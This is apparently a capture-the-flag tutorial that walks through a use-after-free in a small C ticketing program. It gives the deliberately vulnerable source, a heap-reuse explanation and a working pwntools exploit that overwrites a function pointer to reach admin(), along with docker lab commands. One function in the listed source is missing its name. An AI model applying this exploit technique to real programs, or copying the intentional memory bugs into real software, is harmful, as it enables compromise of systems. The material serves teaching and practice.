Challenge example

The exploitation of a Use After Free (UAF) depend on the program implementation. With this example, the attacker can exploit an UAF in order to jump to an arbitrary function : "admin"

Source code

The program had 2 files :

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include "ticket.h"

char login(void){
    char username[16] = "";
    char password[16] = "";
    char secret[16] = "";
    char c;

    FILE *fp = fopen(".passwd", "r");
    fread(secret, 1, 15, fp);
    fclose(fp);
    secret[15] = '\0';

    printf("Username: ");
    fgets(username, sizeof(username), stdin);
    fflush(stdout);
    if (username[strlen(username)-1] == '\n'){
        username[strlen(username) -1] = '\0';
    }
    username[strlen(username)] = '\0';
    printf("Password: ");
    fflush(stdin);
    fgets(password, sizeof(password), stdin);
    if (password[strlen(password)-1] == '\n'){
        password[strlen(password) -1] = '\0';
    }

    if (strcmp(password, secret) == 0 && strcmp(username, "admin") == 0) {
        return 1;
    } else {
        return 0;
    }
}

void admin(void){
    printf("Welcome Admin !\n");
    char i, c = 1;
    while(c){
        printf("What to do you want to do ?\n");
        printf("1 - List all tickets\n");
        printf("2 - Read ticket\n");
        printf("3 - Close ticket\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        scanf("%hhd", &i);
        printf("\e[1;1H\e[2J");
        switch (i) {
            case 0:
                c = 0;
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
}

void add_ticket(int *count, ticket **ticket_list){
    int i;
    if(*count > 4){
        printf("Error, ticket list is already full... \n");
        return;
    }
    for (i=(int)sizeof(ticket_list)-1;i>0;--i){
        ticket_list[i] = ticket_list[i-1];
    }
    ticket_list[0] = ticket_create();
    printf("ticket %p\n", ticket_list[*count]);
    *count = *count + 1;
}

void del_ticket(int *count, ticket **ticket_list){
    char buf[4];
    int id;
    ticket *tmp;
    printf("Index to remove :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    if (id < 0 || id >= *count) {
        printf("Out of bound!");
        return;
    }
    tmp = ticket_list[id];
    ticket_list[id] = ticket_list[*count-1];
    ticket_list[*count-1] = tmp;
    ticket_del(tmp);
    free(tmp);
    *count = *count-1;
}

void display_tickets(int *count, ticket **ticket_list){
    int id = 0;
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    for(id = 0; id<*count;++id){
        printf("id : %d\n", id);
        ticket_list[id]->display(ticket_list[id]);
    }
}

void (int *count, ticket **ticket_list){
    int id = 0;
    char buf[8];
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    printf("Index to read :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    printf("id : %d\n", id);
    if(id >= 0 && id < sizeof(ticket_list)){
        ticket_list[id]->display(ticket_list[id]);
    }
}

void guest(void){
    char buf[8];
    ticket *ticket_list[5];
    int count = 0;
    printf("Welcome guest.\n");
    char i, c = 1;
    while(c){
        printf("Press enter char to continue...");
        getchar();
        printf("\e[1;1H\e[2J");
        printf("What to do you want to do ?\n");
        printf("1 - Get current tickets\n");
        printf("2 - Read ticket\n");
        printf("3 - Create ticket\n");
        printf("4 - Delete ticket\n");
        printf("5 - Submit tickets\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        fgets(buf, sizeof(buf), stdin);
        i = buf[0];
        printf("\e[1;1H\e[2J");
        switch (i) {
            case '0':
                c = 0;
                break;
            case '1':
                display_tickets(&count, ticket_list);
                break;
            case '2':
                read_ticket(&count, ticket_list);
                break;
            case '3':
                add_ticket(&count, ticket_list);
                break;
            case '4':
                del_ticket(&count, ticket_list);
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
}

int main(void) {
    printf("\e[1;1H\e[2J");
    char userType = 0;
    printf("Welcome, please login.\n");
    userType = login();
    printf("\e[1;1H\e[2J");
    if (userType == 1) {
        admin();
    } else {
        guest();
    }
}

This application is likely a ticketing application.

Guest user can create and submit ticket.

Admin user can read all tickets from all users.

Ths function login is here to authenticate a user and redirect him to the guest function is he isn't an admin, and admin if he is.

As the password isn't know, the attacker will be sent into the guest function.

Guest

void guest(void){
    char buf[8];
    ticket *ticket_list[5];
    int count = 0;
    printf("Welcome guest.\n");
    char i, c = 1;
    while(c){
        printf("Press enter char to continue...");
        getchar();
        printf("\e[1;1H\e[2J");
        printf("What to do you want to do ?\n");
        printf("1 - Get current tickets\n");
        printf("2 - Read ticket\n");
        printf("3 - Create ticket\n");
        printf("4 - Delete ticket\n");
        printf("5 - Submit tickets\n");
        printf("0 - Exit\n");
        printf("Choice > ");
        fgets(buf, sizeof(buf), stdin);
        i = buf[0];
        printf("\e[1;1H\e[2J");
        switch (i) {
            case '0':
                c = 0;
                break;
            case '1':
                display_tickets(&count, ticket_list);
                break;
            case '2':
                read_ticket(&count, ticket_list);
                break;
            case '3':
                add_ticket(&count, ticket_list);
                break;
            case '4':
                del_ticket(&count, ticket_list);
                break;
            default:
                printf("Function not yet implemented !\n");
        }
    }
}

This function is a menu and ask fot the user what he want to do and then call a function depending on the user choice.

There is 2 interesting variables :

  • ticket_list that store the actual user's tickets pointers

  • count that store how many ticket the user have.

display_ticket()

void display_tickets(int *count, ticket **ticket_list){
    int id = 0;
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    for(id = 0; id<*count;++id){
        printf("id : %d\n", id);
        ticket_list[id]->display(ticket_list[id]);
    }
}

This function will print all ticket counted for the users.

read_ticket()

void read_ticket(int *count, ticket **ticket_list){
    int id = 0;
    char buf[8];
    if(*count == 0){
        printf("There is no tickets to display\n");
        return;
    }
    printf("Index to read :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    printf("id : %d\n", id);
    if(id >= 0 && id < sizeof(ticket_list)){
        ticket_list[id]->display(ticket_list[id]);
    }
}

This function will print a specific ticket

Note: There is no control about how many tickets the user had.

Then it might be possible to require to print the ticket 4 unless it doesn't exist... it this case the binary will probably crash...

add_ticket()

void add_ticket(int *count, ticket **ticket_list){
    int i;
    if(*count > 4){
        printf("Error, ticket list is already full... \n");
        return;
    }
    for (i=(int)sizeof(ticket_list)-1;i>0;--i){
        ticket_list[i] = ticket_list[i-1];
    }
    ticket_list[0] = ticket_create();
    printf("ticket %p\n", ticket_list[*count]);
    *count = *count + 1;
}

This function will create a ticket using ticket_create and push in onto the ticket_list variable.

The count variable is then incremented.

del_ticket()

void del_ticket(int *count, ticket **ticket_list){
    char buf[4];
    int id;
    ticket *tmp;
    printf("Index to remove :");
    fgets(buf, sizeof(buf),stdin);
    id = atoi(buf);
    if (id < 0 || id >= *count) {
        printf("Out of bound!");
        return;
    }
    tmp = ticket_list[id];
    ticket_list[id] = ticket_list[*count-1];
    ticket_list[*count-1] = tmp;
    ticket_del(tmp);
    free(tmp);
    *count = *count-1;
}

This function will "remove" a ticket.

In fact the ticket was swap with the last element of the list and then the count variable was decremented.

The removed ticket pointer was freed at the end of the function.

Note: The pointer wasn't remove from the list. So the user access to it, using the read_ticket() function, there is a use after free

struct ticket

typedef struct ticket {
    void (*display)();
    char title[24];
    char *content;
} ticket;

A ticket contains 3 variables :

  • a function pointer : display() (8 bytes)

  • a string : title ( 24 bytes )

  • a pointer : content (8 bytes)

The total size of this struct is 40 bytes.

ticket_create()

ticket* ticket_create(){
    char buf[8];
    int size;
    char title[24] = "";
    ticket *t = (ticket *)malloc(sizeof(ticket));

    t->display = display_ticket;
    fflush(stdin);
    fflush(stdout);
    printf("Title : ");
    fgets(title, sizeof(title),stdin);
    if (title[strlen(title)-1] == '\n'){
        title[strlen(title) -1] = '\0';
    }
    strcpy(t->title, title);
    printf("Ticker size :");
    fgets(buf, sizeof(buf),stdin);
    size = atoi(buf);
    t->content = (char *)malloc(size);
    if (!t->content) {
        printf("Allocation Error");
        exit(-1);
    }
    printf("Content :");
    fgets(t->content, size,stdin);
    if (t->content[strlen(t->content)-1] == '\n'){
        t->content[strlen(t->content) -1] = '\0';
    }
    return t;
}

This function will create a ticket in memory and return the pointer ( used by the add_ticket() function )

  • First, the function will allocate a chunk to store the struct at the size of the struct ( 40 bytes )

  • The title is ask for the user and stored into the memory

  • A content size is require and used to allocate chunk to store the ticket content

  • the content is ask and stored into the memory

Note: The user can define the malloc size and then choose the type of bin used.

Exploitation

Let's resume the important parts for the exploitation :

  • Tickets can be created and stored into a chunk of size 40 bytes

  • Content can be created and stored into a chunk of an arbitrary size

  • Tickets have a function pointer used to print itself contents and title with a specific format

  • Tickets can be freed

  • Unless the ticket its freed, it can be accessible using the read_ticket()function.

The objective is to rewrite a Ticket struct memory using a memory reallocation and use it as a ticket (Use after free) to call the display function.

Because the ticket object will be overwrite, the display function can point to an arbitrary function... here it will be admin()

The process to do that is simple :

  • Create a ticket with a content of size != 40

A chunk will be allocated to store the ticket from a fastbin of size 40 and another from another bin to store the content.

  • Create a second ticket with a content of size !=40

As for the first ticket, a chunk of size 40 is allocated to store the ticket and another chuck from another bin to store the content.

  • free the first ticket

The two previously allocated chunk ( for ticket and for content ) was freed and push onto respective bins

  • free the second ticket

The two previously allocated chunk ( for ticket and for content ) was freed and push onto respective bins

  • Create a third ticket with a content of size 40 with the targeted function address as value

The chuck of the second ticket will be reallocated to this ticket and the chunk for the first ticket will be reallocated for the content !

  • Read the first ticket ( placed at the end of the ticket_list due to the swap when free )

The first ticket has now the value of the content of the third ticket due to the reallocation. The display pointer is overwritten by the admin() address

Here is a python code to do that :

from pwn import *

elf = context.binary = ELF("./chall")

p = process()

target = p64(0x401742) # `admin()` function address

def login():
    p.recvline()
    p.sendline(b'a')
    p.recv(timeout=1)
    p.sendline(b'a')
    p.recv(timeout=1)


def choice(c):
    p.sendline()
    a = p.recvuntil(b"Exit")
    p.sendline(c)

def create(title, size, content):
    choice(b'3')
    p.sendline(title)
    p.sendline(size)
    p.sendline(content)

def delete(index):
    choice(b'4')
    p.sendline(index)


login()
# Create the first ticket with a content size = 80
create(b'title', b'80', b'test') 
# Create the second ticket with a content size = 80
create(b'title', b'80', b'test')

# Delete the first ticket
delete(b'0')
# Delete the second ticket
delete(b'0')

# Create a third ticket with a size = sizeof(ticket) 
create(b'exploit', b'40', target) 

# read the second ticket
choice(b'2')
p.sendline(b'2')

p.interactive()
p.close()
$ python3 exploit.py
[*] './chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './chall': pid 220
Welcome Admin !
What to do you want to do ?
1 - List all tickets
2 - Read ticket
3 - Close ticket
0 - Exit
Choice >

Exercice

If you want to try this exploit by yourself, you can pull this docker image :

docker pull thectfrecipes/pwn:use_after_free

Deploy the image using the followed command :

docker run --name use_after_free -it --rm -d -p 3000:3000 thectfrecipes/pwn:use_after_free

Access to the web shell with your browser at the address : http://localhost:3000/

login: challenge
password: password

Last updated